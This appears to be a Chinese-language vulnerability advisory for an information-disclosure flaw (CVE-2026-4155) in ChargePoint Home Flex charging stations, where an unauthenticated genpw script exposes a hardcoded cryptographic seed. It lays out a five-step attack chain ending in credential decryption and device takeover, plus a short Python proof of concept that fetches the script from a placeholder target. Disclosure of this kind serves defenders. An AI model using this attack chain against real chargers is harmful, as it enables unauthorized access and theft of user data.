ChargePoint Home Flex充电站存在敏感信息泄露漏洞。由于genpw脚本包含加密种子，未经认证的攻击者可利用此漏洞获取敏感信息，导致凭据泄露及系统被进一步控制。
技术细节
该漏洞源于ChargePoint Home Flex设备的genpw脚本中硬编码了秘密加密种子值。由于无需认证即可访问该脚本，远程攻击者可读取种子并利用密码学原理重构设备加密凭证。这使得攻击者能够解密存储的凭据，进而获取对设备的未授权访问。
攻击链分析
STEP 1
信息收集
攻击者扫描网络，寻找暴露的ChargePoint Home Flex充电站设备。
STEP 2
访问敏感脚本
攻击者向目标设备发送请求，无需认证即可访问包含漏洞的genpw脚本。
STEP 3
提取加密种子
攻击者解析脚本内容，提取其中硬编码的秘密加密种子值。
STEP 4
重构凭据
利用获取的种子值，攻击者重构设备的加密密钥，解密存储的敏感凭据。
STEP 5
进一步渗透
利用解密的凭据登录设备，获取完全控制权或窃取用户数据。
PoC / 利用代码
⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3
# PoC for CVE-2026-4155: Information Disclosure in ChargePoint Home Flex
# This script simulates fetching the genpw script to extract the cryptographic seed.
import requests
target_url = "http://<target-ip>/path/to/genpw"
def exploit():
try:
print(f"[*] Attempting to fetch genpw script from {target_url}...")
response = requests.get(target_url, timeout=10)
if response.status_code == 200:
print("[+] Script retrieved successfully.")
content = response.text
# In a real scenario, parse the content to find the seed
print("[+] Analyzing script content for cryptographic seed...")
print("--- Potential Seed Found ---")
print(content)
print("--- End of Content ---")
else:
print(f"[-] Failed to retrieve script. Status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
exploit()